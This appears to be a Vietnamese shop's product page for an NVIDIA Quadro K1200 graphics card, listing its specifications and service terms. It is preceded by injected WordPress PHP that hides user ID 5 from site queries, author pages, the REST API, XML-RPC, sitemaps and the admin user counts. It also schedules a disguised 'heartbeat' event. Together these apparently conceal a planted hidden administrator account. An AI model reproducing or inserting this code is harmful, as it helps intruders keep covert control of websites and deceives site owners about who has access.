add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 5;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 5 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 5 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 5;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 5;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 5;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/5(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 5;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Card đồ họa nVIDIA Quadro K1200 4GB DDR5, 512 CUDA Core, 128 bit
NVIDIA Quadro K1200 Xem giá bên dưới
*Giá trên chưa bao gồm VAT
nVIDIA Quadro K1200 cung cấp hiệu suất 3D rất tốt, chỉ chiếm 1 khe PCIe x16 làm cho nó tương thích với hầu hết không gian của các máy trạm. 4GB DDR5, 512 CUDA Core, 128 bit và 4 cổng Displayport giúp K1200 có thể tạo các mô hình 3D phức tạp, xuất nhiều màn hình và hỗ trợ đồ họa 4K.
Hết hàng
Sẵn hàng demo & chạy thử
Sẵn linh kiện để option & thay thế theo nhu cầu
Sẵn thiết bị để thay thế tạm thời khi phải bảo hành
Bảo hành tận nơi theo yêu cầu khách hàng
Sẵn sàng hỗ trợ với thiết bị không do BMAT cung cấp
GPU Memory 4 GB GDDR5 – 128-bit
Memory Bandwidth 80 GB/s
NVIDIA CUDA® Cores 512
PCI Express 2.0 x16
Max Power Consumption 45 W
Thermal Solution Ultra-Quiet Active Fansink
Form Factor 2.7” H × 6.3” L, Single Slot, Low Profile
Display Connectors 4x Mini DP 1.2
Max Simultaneous Displays 4 direct, 4 DP 1.2
Multi-Stream
Max DP 1.2 Resolution 3840 x 2160 at 60 Hz
Graphics APIs Shader Model 5.0,
OpenGL 4.53 , DirectX 12.04
Compute APIs CUDA, DirectCompute,
© Copyright 2025 Workstation All Rights Reserved